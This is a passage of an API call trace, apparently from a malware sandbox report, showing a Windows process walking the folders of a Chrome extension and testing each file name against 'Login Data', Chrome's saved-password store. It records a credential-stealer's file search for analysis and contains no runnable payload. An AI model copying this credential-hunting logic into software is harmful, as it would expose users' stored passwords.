IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.597] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.597] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.597] lstrlenA (lpString="uk") returned 2 [0056.597] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.597] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.597] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0056.597] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.597] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned 131 [0056.597] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned 131 [0056.597] lstrlenA (lpString="\\*.*") returned 4 [0056.597] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.597] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0056.597] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*" [0056.598] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.598] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.598] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.598] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.598] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.598] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.598] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.598] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.598] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.598] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.598] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.598] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.598] lstrlenA (lpString="\\") returned 1 [0056.598] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.598] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.598] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.598] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.598] lstrlenA (lpString="vi") returned 2 [0056.598] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.598] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.598] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0056.598] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.598] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned 131 [0056.598] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned 131 [0056.598] lstrlenA (lpString="\\*.*") returned 4 [0056.598] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.598] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0056.598] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*" [0056.598] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.598] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.598] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.598] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.598] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.598] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.598] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.599] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.599] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.599] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.599] lstrlenA (lpString="\\") returned 1 [0056.599] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.599] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.599] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.599] lstrlenA (lpString="zh_CN") returned 5 [0056.599] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.599] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.599] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0056.599] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned 134 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned 134 [0056.599] lstrlenA (lpString="\\*.*") returned 4 [0056.599] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.599] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0056.599] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*" [0056.599] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.599] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.599] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.599] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.599] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.599] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.599] LocalFree (hMem=0x2dc508) returned 0x0 [0056.599] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.599] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.599] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.599] lstrlenA (lpString="\\") returned 1 [0056.599] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.599] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.599] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.599] lstrlenA (lpString="zh_TW") returned 5 [0056.599] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.599] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.599] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0056.599] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned 134 [0056.599] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned 134 [0056.600] lstrlenA (lpString="\\*.*") returned 4 [0056.600] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.600] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0056.600] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*" [0056.600] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.600] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.600] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.600] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.600] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.600] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.600] LocalFree (hMem=0x2dc508) returned 0x0 [0056.600] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.600] FindClose (in: hFindFile=0x2dc978 | out: hFindFile=0x2dc978) returned 1 [0056.600] LocalFree (hMem=0x2dc1d8) returned 0x0 [0056.600] LocalFree (hMem=0x2dc0c8) returned 0x0 [0056.600] lstrcmpiA (lpString1=".", lpString2="_metadata") returned -1 [0056.600] lstrcmpiA (lpString1="..", lpString2="_metadata") returned -1 [0056.600] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.600] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.600] lstrlenA (lpString="\\") returned 1 [0056.600] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dbfc0 [0056.600] lstrcpyA (in: lpString1=0x2dbfc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.600] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.600] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 120 [0056.600] lstrlenA (lpString="_metadata") returned 9 [0056.600] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc0c8 [0056.600] lstrcpyA (in: lpString1=0x2dc0c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.600] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0056.600] LocalFree (hMem=0x2dbfc0) returned 0x0 [0056.600] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned 129 [0056.600] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned 129 [0056.600] lstrlenA (lpString="\\*.*") returned 4 [0056.600] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dc1d8 [0056.600] lstrcpyA (in: lpString1=0x2dc1d8, 